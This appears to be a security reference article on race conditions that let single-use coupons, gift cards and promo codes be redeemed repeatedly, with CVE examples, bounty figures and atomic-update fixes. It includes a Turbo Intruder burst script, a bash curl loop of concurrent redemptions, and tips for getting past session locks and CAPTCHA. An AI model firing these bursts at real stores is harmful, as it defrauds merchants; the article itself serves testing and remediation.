Single-use coupon or voucher applied multiple times concurrently before the used flag is persisted to the database.
TL;DR
UPDATE WHERE used=FALSE RETURNING id — atomic check-and-consume in one SQL statementA coupon reuse race condition is a specific limit-overrun attack targeting single-use or limited-use promotional codes, vouchers, and gift cards. The root cause is the non-atomic check-and-mark-as-used sequence: the application checks whether a coupon is still valid (SELECT), then marks it as consumed (UPDATE) in two separate database operations. Concurrent requests all pass the SELECT check before any UPDATE commits, each believing the coupon is still available.
This is a direct instance of CWE-362 (Race Condition) under OWASP A04:2021 (Insecure Design). The coupon system's state machine was designed without ensuring that the validation and consumption steps are atomic. Unlike SQL injection or XSS, the attack requires zero malformed input — it is entirely legitimate HTTP requests sent concurrently.
The vulnerability is widespread because the naive implementation is natural: read validity, apply discount, update database. Every framework tutorial demonstrates this three-step pattern without noting the race condition it introduces. The 2023 Kettle single-packet attack made this exploitable reliably over remote connections.
1. Client sends: POST /cart/apply-coupon {"code": "SAVE20"} ×20 concurrently
2. Server (×20): SELECT used FROM coupons WHERE code='SAVE20' → used=false (all 20 see this)
3. Server (×20): UPDATE coupons SET used=true WHERE code='SAVE20'
4. Server (×20): return 200 OK — discount appliedAll 20 requests pass step 2 before any UPDATE in step 3 commits to the database. The used flag is still false from all concurrent reads.
The Turbo Intruder payload for this attack:
# Turbo Intruder — coupon race via HTTP/2 single-packet attack
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2 # Single-packet HTTP/2
)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # Fire all 20 simultaneously
def handleResponse(req, interesting):
table.add(req)Target request:
POST /api/cart/apply-coupon HTTP/2
Host: shop.example.com
Cookie: session=abc123
Content-Type: application/json
Content-Length: 43
{"coupon_code":"SAVE20","cart_id":"cart_xyz"}Expected vulnerable result: 20 × 200 OK with "discount_applied": true instead of 1 × 200 OK and 19 × 409 Conflict.
| Variant | Target | Platform | Bounty |
|---|---|---|---|
| Single-use coupon multi-redeem | E-commerce checkout | Any web store | $216–$5K |
| Promo code limit bypass | Event ticketing, SaaS billing | alf.io (CVE-2024-45300) | CVE |
| Gift card balance drain | Retail, gaming | nopCommerce (CVE-2024-58248) | CVE / $1.5K |
| Referral code multi-claim | SaaS signup, fintech | Various | $500–$2K |
| Free-trial extension race | SaaS billing | Subscription platforms | $500–$3K |
| Discount stacking | Cart/checkout logic | Multi-discount systems | Varies |
Gift card races are the most financially impactful single-endpoint race. CVE-2024-58248 in nopCommerce allowed a $100 gift card to be redeemed N times before any balance-decrement committed. The Reverb.com HackerOne bounty ($1,500) covered the same pattern on a marketplace platform.
Referral code races exploit the "1 referral reward per code" constraint. Twenty concurrent signups using the same referral code all pass the single-use check and all receive the $50 signup credit, costing the platform $50 × 20 = $1,000 per attack.
Promo code limit bypass targets e-commerce platforms where a promo code has max_uses = 100. The attacker makes 500 simultaneous redemption requests. If the backend uses a read-modify-write on the uses_count column rather than an atomic conditional UPDATE, it may accept all 500.
CVE-2024-45300 — alf.io Promo Code Race (CVSS 7.5)
alf.io (versions ≤ 2.0-M4-2402) is an open-source event ticketing platform. Concurrent promo code application requests bypass the maximum-uses limit enforced by a non-atomic check in the booking flow. Attendees can simultaneously apply a single-use promo code before any increment of the uses_count column commits. GHSA-67jg-m6f3-473g; fixed in alf.io 2.0-M4-2403 via atomic UPDATE WHERE count < max pattern.
CVE-2024-58248 — nopCommerce Gift Card Double-Spend (CVSS 7.5)
nopCommerce versions before 4.80.0 had a non-atomic gift card redemption flow. Concurrent requests to /giftcard/apply all read the balance before any deduction committed. A $100 gift card, raced with 20 concurrent requests, applied $100 × 20 = $2,000 in store credit. Outpost24 confirmed exploitability with a Turbo Intruder single-packet burst. Fixed in nopCommerce 4.80.0.
Reverb.com — Gift Card Multi-Redeem (HackerOne, $1,500)
A race condition on the Reverb.com marketplace allowed multiple applications of a single gift card balance. The researcher demonstrated 5 concurrent redemption requests each successfully applying the full $50 gift card value, generating $250 from a single $50 card.
Dropbox — Coupon Code Bypass (HackerOne, $216)
A coupon code race condition allowed the same promo code to be applied to multiple Dropbox accounts via concurrent requests. The low bounty reflects the moderate business impact (discount duplication, no direct financial drain), but confirms the pattern appears in major platforms.
InnoGames Email Activation Race ($2,000)
Twenty concurrent email activation requests on a gaming platform each incremented a virtual currency counter, granting 20× the welcome bonus. Single-use activation email replayed via concurrent requests. 137 HackerOne community upvotes — widely regarded as a clean example of the limit-overrun pattern.
/apply-coupon, /redeem, /gift-card/apply, /promo/claim.200 OK with discount confirmation instead of expected 409 Conflict indicates the race.# Quick confirmation with curl parallel — HTTP/1.1 approximation (less reliable)
for i in $(seq 1 20); do
curl -s -X POST https://shop.example.com/api/apply-coupon \
-H "Content-Type: application/json" \
-H "Cookie: session=$SESSION" \
-d '{"code":"TESTCOUPON"}' &
done
waitBreachVex detects coupon race conditions through complementary techniques: matching coupon-redemption URL patterns (/coupon, /promo, /voucher, /redeem, /apply, /gift), firing an HTTP/2 single-packet burst of identical redemption requests, analysing the response differential (more than one success triggers verification), and confirming with a read-race-read state proof on cart totals or account balance — if the discount applied multiple times, the race is confirmed.
Key signals:
"applied": true in body-- VULNERABLE: two-step check and update
SELECT used, max_uses, uses_count FROM coupons WHERE code = $1;
-- (race window here — other transactions see same state)
UPDATE coupons SET uses_count = uses_count + 1 WHERE code = $1;
-- FIXED: atomic conditional update
UPDATE coupons
SET uses_count = uses_count + 1,
last_used_by = $2,
last_used_at = NOW()
WHERE code = $1
AND uses_count < max_uses
AND (single_use = FALSE OR uses_count = 0)
RETURNING id, discount_percent;
-- 0 rows returned = limit reached or already usedfrom fastapi import HTTPException
from sqlalchemy import update
from sqlalchemy.ext.asyncio import AsyncSession
async def apply_coupon(code: str, user_id: int, cart_id: str, db: AsyncSession):
"""Atomic coupon redemption — no race condition possible."""
result = await db.execute(
update(Coupon)
.where(
Coupon.code == code,
Coupon.uses_count < Coupon.max_uses,
Coupon.active == True,
)
.values(
uses_count=Coupon.uses_count + 1,
last_used_by=user_id,
)
.returning(Coupon.discount_percent, Coupon.id)
)
row = result.fetchone()
if row is None:
raise HTTPException(409, detail="Coupon exhausted or invalid")
return {"discount": row.discount_percent, "coupon_id": row.id}import redis.asyncio as redis
import uuid
async def apply_coupon_with_lock(code: str, user_id: int, r: redis.Redis):
"""Redis SETNX lock prevents concurrent execution of the critical section."""
lock_key = f"coupon:{code}:lock"
lock_id = str(uuid.uuid4())
# Atomic SET NX EX — acquire lock or fail
if not await r.set(lock_key, lock_id, nx=True, ex=5):
raise ValueError("Concurrent redemption attempt — try again")
try:
coupon = await db.get_coupon(code)
if coupon.uses_count >= coupon.max_uses:
raise ValueError("Coupon limit reached")
await db.increment_coupon(code, user_id)
finally:
# Lua: release only if we own the lock
await r.eval(
"if redis.call('GET',KEYS[1])==ARGV[1] then return redis.call('DEL',KEYS[1]) end",
1, lock_key, lock_id
)PHP native sessions serialize requests per PHPSESSID via flock(). A coupon race tested from a single browser session will appear protected. Always test with distinct session tokens per concurrent request to bypass the native session lock.
When the application checks coupon validity (SELECT used FROM coupons WHERE code=X) and marks it as used (UPDATE coupons SET used=TRUE WHERE code=X) in two separate database operations, multiple concurrent requests all pass the SELECT check before any UPDATE commits. Each request sees used=false and proceeds to apply the discount. The fix is an atomic UPDATE WHERE used=FALSE that returns 0 rows if already consumed.
CVE-2024-45300 (CVSS 7.5) is a promo code limit bypass race condition in the alf.io event ticketing platform (versions up to 2.0-M4-2402). Concurrent promo code applications bypass the usage limit check before any increment commits. Multiple attendees can simultaneously apply a single-use or limited-use promo code, reducing ticket prices beyond the intended limit. Fixed via atomic UPDATE WHERE count < max_uses pattern.
Turbo Intruder with Engine.BURP2 sends all N coupon redemption requests over a single HTTP/2 connection in one TCP packet (single-packet attack). All requests arrive at the server within under 1ms — faster than any database transaction can commit. The server processes them in parallel, each sees the coupon as unused, and each applies the discount. Turbo Intruder's 'gate' mechanism queues all requests and fires them simultaneously.
A SAVE20 coupon applied 20 times to a $100 cart reduces the total to -$300. Some e-commerce platforms process negative totals as store credits or withdrawals. Even when the checkout flow blocks negative totals, applying 100% discount multiple times generates free items. Dropbox paid $216 for a coupon race condition; Reverb.com paid $1,500 for gift card multi-redeem.
For most web applications, 20 concurrent requests via HTTP/2 single-packet attack is sufficient to reliably exploit a coupon race. The goal is to ensure all requests arrive at the server before any database transaction commits. With HTTP/2 single-packet delivery (all requests in one TCP packet), the server receives them within under 1ms. For highly optimized databases with sub-millisecond transaction commit times, increasing to 50 requests reduces the margin. For HTTP/1.1-only targets where true single-packet delivery is not possible, 20 requests sent with last-byte synchronization and a 2–5ms sync window are needed. Turbo Intruder's Engine.BURP2 handles the synchronization automatically.
CAPTCHA does not prevent coupon race conditions. CAPTCHA verifies that a human initiated the request — it does not prevent that human from sending the same valid request 20 times concurrently. The CAPTCHA token is validated once on the first request; subsequent concurrent requests use the same session credentials, not additional CAPTCHA tokens. A human attacker solves CAPTCHA once, then uses Turbo Intruder to fire 20 identical coupon-apply requests concurrently. Some platforms implement per-request CAPTCHA challenges, but these are bypassable via CAPTCHA-solving services ($1–$3 per 1,000 solves) or by pre-solving multiple tokens.
Coupon race bounties range from $216 (Dropbox, low-impact discount duplication) to $5,000+ for platforms where negative balances generate real cash payouts. HackerOne median for e-commerce cart manipulation is approximately $500–$2,000. CVE-severity findings like CVE-2024-45300 (alf.io) and CVE-2024-58248 (nopCommerce) do not carry cash bounties but provide CVE credit and researcher recognition. Gift card drain races (Reverb.com: $1,500, nopCommerce CVE-2024-58248) consistently earn higher bounties than coupon discount races because the financial loss is direct and measurable — $100 gift card × 20 redemptions = $2,000 demonstrable loss.
Stripe's Idempotency-Key header enforces exactly-once semantics at the payment processor level. When a client sends a coupon redemption with a unique key, Stripe processes it once and caches the result. Concurrent requests with the same key return the cached response without re-processing — regardless of how many arrive simultaneously. The key mechanism is Redis SETNX (SET if Not eXists): the first request atomically sets the key, concurrent requests see the key already set and return the cached result. For coupon systems not using Stripe, the same pattern is implementable with Redis SETNX + a 24h TTL. The critical invariant: the key acquisition (SETNX) must be atomic — a SELECT-then-INSERT key check has the same race as the coupon check itself.
Yes. Webhook retry logic is a commonly overlooked source of coupon and payment duplication races. When a payment provider sends a webhook (order.completed, payment.success) and does not receive a 200 ACK within the timeout, it retries — often 2–5 times at 30-second intervals. If the application processes the coupon redemption or discount application on webhook receipt without idempotency, each retry applies the discount again. The fix is to record the webhook event ID (provided by all major payment processors: Stripe event.id, PayPal notification_id, Shopify X-Shopify-Hmac-Sha256) in a database table with a UNIQUE constraint on event ID, and skip processing if the event ID already exists.